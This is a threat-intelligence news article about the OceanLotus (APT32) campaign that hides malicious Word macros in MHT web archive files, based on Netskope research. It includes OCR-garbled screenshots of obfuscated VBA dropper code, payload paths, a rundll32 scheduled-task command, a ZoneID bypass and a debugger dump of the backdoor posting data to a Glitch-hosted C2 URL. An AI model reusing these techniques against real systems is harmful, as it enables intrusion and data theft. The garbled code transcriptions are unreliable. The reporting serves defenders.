OceanlLotus hackers turn to web archive files to deploy
backdoors

The OceanLotus group of state-sponsored hackers are now using the web archive file format (MHT and
.MHTML) to deploy backdoors to compromised systems.

The goal is to evade detection by antivirus solutions tools which are more likely to catch commonly
abused document formats and stop the victim from opening them on Microsoft Office.

Also tracked as APT32 and Sealotus, the hackers have shown a tendency in the past to try out less
common methods for deploying malware.

A report from Netskope Threat Labs shared with Bleeping Computer in advance notes that OceanLotus'
campaign using web archive files is still active, although the targeting scope is narrow and despite the
command and control (C2) server being disrupted.

From trusty RARs to Word macros

The attack chain starts with a RAR compression of a 35-65MB large web archive file containing a
malicious Word document.
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7 (1) 7 security vendors flagged this file as malicious

a571a35c182c209ab755a8e3ec483b155a2bs86dele3ffc382d569cdef80c227

HS.rar
rar
bt it V.-
Mame Size Type Name Size Type
CV.rar 953 KB RARFile Eﬁ CV.doc 47974KE Microsoft Word 97 - 2003 Document
Deliverylnformation.rar 1,075KB RAR File ) Deliverylnformation.doc IB985KE Microsoft Word 2003 Document
Gift Products.rar 1071 KB RAR File ﬁ;] Gift Products.doc 62,584 KB  Microsoft Word 97 - 2003 Document
GiftProducts.rar 78T KB RARFile Eﬂ GiftProducts.doc 62,053 KB Microsoft Word 97 - 2003 Document
HS.rar 46 KB RAR File ' ﬂ HS.dec 44 610 KB  Microsoft Word 97 - 2003 Document
List Product.rar 783 KB RARFile ﬁEj List Product.doc 43331 KB Microsoft Word 97 - 2003 Document
Bz Mote.rar 1,066 KB RAR File E§3_=L| Mote.doc 49360 KB Microsoft Word 97 - 2003 Document
Tai_lieu.rar 778 KB RAR File 7] Tailieu.doc 40,842 KB Microsoft Word 97 - 2003 Document
TL-3525.rar 741 KB RARFile @ TL-3525.doc 41,772 KB Microsoft Word 97 - 2003 Document

RAR file dropped as the first step of the attack
Source: Netskope

To bypass Microsoft Office protection, the actors have set the ZonelD property in the file's metadata to
"2", making it appear as if it was downloaded from a trustworthy source.

> Get-Content .\ 352 Zone.Identifier

-Content .\TL-3525.dc Zone.Identifier

- Get-Content .\ 3525 .do Zone.Identifier

Microsoft Word x

Read-only Hidden . Word experienced an error trying to open the file.
r v U e sced Try these suggestions,

* Check the file permissions for the document or drive,

mjﬁi:gwﬁfﬂfmd to [ Unblack I * Make sure there is sufficient free memory and disk space.
help protect this go«muter * Open the file with the Text Recovery converter.
[ Mo \test\TL-3525.dod)

P —— _

Setting ZonelD value to bypass MS Office protection
Source: Netskope

When opening the web archive file with Microsoft Word, the infected document prompts the victim to
"Enable Content", which opens the way to executing malicious VBA macro code.
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Priwate Declars De

Safs Sub DuUlLAiUSadMmVATRI&NGE11kD237 Lib "Background" Alias "OpeaProfila” i&-“'a'_ file hs LengPtr, ByWal langeh hs '_unuE‘tr!I
o — — =

Private D
#End If

d® Alias "OpenProfile" (ByVal file As Long, ByVal length Ra Long)

Dim Q9FI480rTnMOMLD As String
Dim UT1PvXkz® Rs String

Dam iFofOLN4EV As String

Dim e6Q12¥V13gJ4 As String
Dam Fdxwco

SYBO As Strang
Dim CxdmhyLIuf As Scring
Dim alfU4662% A3 String
Dam nFECAECHLLEEXDZ As String
#IZ VBAT Then
#Elaz
#End I
Frivate Sub IcJJXSRUeKE (z)zLfaFxré77 As String)
Documents.Open (z3)zLIaFXré77)
Sl
Privare Sub EgSrORbes()
On Error Resume Mext
FJxwe0JmSYEB0 = Che( (T4 - £0226 + 153)) & Che((s0203 - &032)) + Che((sH5 + 54)) & Chr((52 + €2)) & Chre[(&HE4 + 110 - &0143)) + Che((3T7 + &OLl16)} & Chr((e0303 - &0437 + sHCB)) & Chre((sH43
Cx4mhyLIuE = Chr((&HZ + &0102)) + Chr((203 - 200 + &HEC)) & Chr((&0l2€ + &HD)) & Chr((l63 — 46)) + Chr((&H8S - 209 + 181)) + Chr((aH2F + 54)) + Chr((&HBF - &0371 + 168)) + Chr((9l - €T
Dim u58qpz33T As String
u5SBqpzj3T = Chr((SHED - EHB)) + Chr({ll4 + £0l)) & Chr([(&H46 + £037)) & Chr( (207 + &EHEO — EHDD)) & Chr((l2 + EH14)) & Chr((s04 + E075)) + Chr((l08 — 9)}) & Chr(f102 - &HSE + &£0133)) + Ch
UaZ¥YiMElgs
uS8qpz33T = uSBqpzj3T & Chr({sH7B + EHT1l - 204}) & Che({4 + T€)}) + Chr((LO1lTO + EHCS - cHDR)) & Chr{(L0210 + cHSL - £C2E€)) £ Chr((£0222 - L0215 + LHEF)) + Chr((l80 - 273 + 210)) + Chr(
QEFILEScTaNCHLD = Cho( (80261 + &0L30 - GHAT)) & Chr (178 + 178 - &0404)) + Cho((e0223 - GHI0)) & Chr((&0233 - 0260 + GHEO)) & Chz|(&HCD - &0417 + L74)) + Chz ({71 + &H2B)} + Chz| (&HET +
hPbOdECSLLREXED = Chr((E0262 - LOL2€)) & Chr((LH4D + 28)) & Chr( (SHSD - L0104 + £0134)) & Chr( (L0281 - CH10B + LHBF}) & Cho((183 - £0421 + cHCD)) & Chr([eOL1E + cH27)) & Chr( (LHIS + 58
e€012V13gJ4 = ThisDocument .FullName
ufBqpzi3dT = Chr ({178 + £H8E - (HDE)) € Chr((£0214 + cHEB - 170)) € Chr((&BC + £HED)) & Chr (60227 - £0242 + 110}) + Chr((134 + 0312 - 233)) + Chr((&0147 + £010)) + Chr((%€ + 1%)) + Chr
uS8qgpz3iaT = Environ(Chr ({78 = &0L5)) + Chr((&0245 - &071)) + Chr((&0150 + &M4)) + Chr((EM9B + §0163 = 185)) + Chr((140 - &0303 + GHAR)) + Chr ({8031 + E0114)) & Chr((cH76 - LHBS + &O2E5)
allU46b29 = Environ (Chr( (EHED - 112 + &H31)) = Chr((40244 - &070)) + Chr( (85 - £0245 + £0274)) + Chr({(L0252 - 155 + LHEE)) + Chr((&0120 + &H23)) + Chr((&031 + T6€}) & Chr((&030€ + LHEF -~
Dam zIFOFLJETTgWoF () As String
TIXOFLIET TgWoF = Split (aUU4€L2S, Chx((&HEd + 124 - &HA4)))
cache = zZFOPLJETTgWoF (LBound (Z22R0FLIECTgWoF) )
For raGUpWSJHx = LBound (Z22ZROFLJECTgWoF) + (63 + &041 - &0137) To UBound|zZKUFLJIGTTgWoE)
cache = cache & CThr ({&0217 = 51)) & z2ROPLJEcTgWoP [raEUpWSIHX)
MEDir cache
Hext
FileCopy uS8qgpzi3T, alU46B2% & hPROdECILLREXD2
If Len(Cx4mhyLIuE) = (&0L0Z - &HT® + 55) Then
CxamhyLIuE = £6Ql2V13gJ4 & Che{(92 + &034))
Else
CxdmhyLIuE = Replace {¢6QL2V13gJ4, Dir(e&QlIV13gJ4), Cx4mhyLIuFE}
End If
HQOEE3Suilla
FileCopy aUU4éb20 & hPbO4ECOLLREXED, aUU4£b29 & Chr( (107 — £HF}) & QSFIAA0rTaNOHLD
nifxyoxahl
Sethtoz =8013Vi3g04, (S0T5 - L020E + sol1i7)

Decoded VBA code used in APT32 docs
Source: Netskope

The script performs the following tasks on the infected machine:

1. Drops the payload to "C:\ProgramData\Microsoft\User Account Pictures\guest.omp";
2. Copies the payload to "C:\ProgramData\Microsoft Outlook Sync\guest.omp";

3. Creates and display a decoy document named "Document.doc”;

4. Rename the payload from "guest.omp" to "background.dll";

5. Executes the DLL by calling either "SaveProfile" or "OpenProfile" export functions

After the payload is executed, the VBA code deletes the original Word file and opens the decoy document
which serves the victim a bogus error.

Backdoor uses Glitch hosting service

The payload dropped in the system is a 64-bit DLL that executes every 10 minutes thanks to a scheduled
task impersonating a WinRAR update check.
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Name Status  Triggers Next Run
(® MicrosoftEd... Disabled Multiple triggers defined 11/17/202]
(5 MicrosoftEd... Disabled At 11:55 AM every day - After triggered, repeat every 1 hour for a duration of 1 day. 11/16/202]

At 11:00 AM on 5/1/1992 - After triggered, repeat every 1.00:00:00 indefinite
At 3:17 PM on 2/29/2004 - After triggered, repeat every 10 minutes indefinitely.

11/17/202]
11/16/202

Read
Ready

(B OneDrive Pe...

Winrar Update

<

General Triggers Actions Conditions Settings History (disabled)

When you create a task, you must specify the action that will occur when your task starts. To change these actions, open
the task property pages using the Properties command.

Action Details

| Start a program Yesystemroot%\system32\rundll32.exe background.DLL,SaveProfile I

Fake process carrying the payload injection
Source: Netskope

The backdoor is injected into the rundll32.exe process running indefinitely in the system memory to evade
detection, Netskope notes in its technical report.
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Payload injected and unpacked into memory

Source: Netskope

The malware collects network adapter information, computer name, username, enumerates system
directories and files, checks the list of running processes.
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http://www.netskope.com/blog/abusing-microsoft-office-using-malicious-web-archive-files

Once that basic data is gathered, the backdoor compiles everything into a single packages and encrypts
the content before it's sent to the C2 server.

This server is hosted on Glitch, a cloud hosting and web development collaboration service that is

frequently abused for malicious purposes.

push ecx

push eax

push ebx

push dword ptr ds:[4FF8298]
mov edx,4FF2B9A

lea ecx,dword ptr ss:[esp+908]
call <sub_4F7C969>

push ebx

mov esi,eax

O4FFB8298:&L "https://

elemental-future-cheetah.glitch.me/559084b660P"

4FF2B9A:L"POST

POST https://element
al-future-cheetah.gl
itch.me/559084b660P
HTTP/1.1..Connection
: Keep-Alive..Conten
t-Type: application/
x-www-form-urlencode
d. .User-Agent: Mozil
la/4.0 (compatible;
MSIE 7.0; Windows NT
10.0; WOWe4; Triden
t/7.0; _NET4.0C; .NE
T4.0E) . .Content-Leng
th: 4608. _Host: elem
ental-future-cheetah
-glitch.me.__.__._ 82
¥Ci.dg. -£i;1w.for.*a
a__E372.¥v 1. =_+_G/=.
ch.vpe E.VgD.7;"¥*) ¥
i*..P.uivi7E.A.= gp
ii~.B@.!Y. uUa+0i<.’
r;h.U.U. %JEi§*Rt~g>
-2jM¥érg g2n°17.0ic.
jHA" .4Enx..@&.sp.p?.
EADUB=X.RG.E. »p...

Backdoor communicating with a Glitch-hosted C2
Source: Netskope

By using a legitimate cloud hosting service for C2 communication, the actors further reduce the chances

of being detected even when network traffic monitoring tools are deployed.

Although Glitch took down the C2 URLs identified and reported by Netskope researchers, it's unlikely that
this will stop APT32 from creating new ones using different accounts.

For the complete list of the indicators of compromise from this campaign, you may check this GitHub

repository.
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